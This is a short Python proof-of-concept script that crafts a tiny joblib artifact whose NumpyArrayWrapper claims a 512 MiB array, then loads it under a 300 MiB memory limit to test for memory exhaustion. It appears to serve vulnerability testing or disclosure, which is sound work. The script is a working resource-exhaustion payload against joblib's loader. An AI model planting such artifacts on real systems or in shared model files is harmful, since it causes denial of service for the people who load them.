from __future__ import annotations

import pickle
import resource
import sys
import tempfile
from pathlib import Path


ROOT = Path(__file__).resolve().parents[2]
REPO_ROOT = ROOT / "repo"
WORKSPACE = ROOT.parents[1]

for candidate in (
    WORKSPACE / ".pydeps-joblib",
    REPO_ROOT,
):
    candidate_str = str(candidate)
    if candidate.exists() and candidate_str not in sys.path:
        sys.path.insert(0, candidate_str)

import numpy as np
from joblib import load
from joblib.numpy_pickle import NumpyArrayWrapper


def main() -> None:
    base = Path(tempfile.mkdtemp(prefix="joblib-wrapper-bomb-"))
    artifact_path = base / "bomb.joblib"

    wrapper = NumpyArrayWrapper(
        np.ndarray,
        (512 * 1024 * 1024,),
        "C",
        np.dtype("u1"),
        allow_mmap=False,
    )
    with artifact_path.open("wb") as f:
        pickle.dump(wrapper, f, protocol=4)

    with artifact_path.open("rb") as f:
        inert = pickle.load(f)

    print(f"artifact={artifact_path}")
    print(f"artifact_size={artifact_path.stat().st_size}")
    print(f"pickle_load={type(inert).__name__} shape={inert.shape} dtype={inert.dtype}")

    resource.setrlimit(resource.RLIMIT_AS, (300 * 1024 * 1024, 300 * 1024 * 1024))

    try:
        load(artifact_path)
        print("joblib_load=success")
    except BaseException as exc:
        print(f"joblib_load={type(exc).__name__}: {exc}")


if __name__ == "__main__":
    main()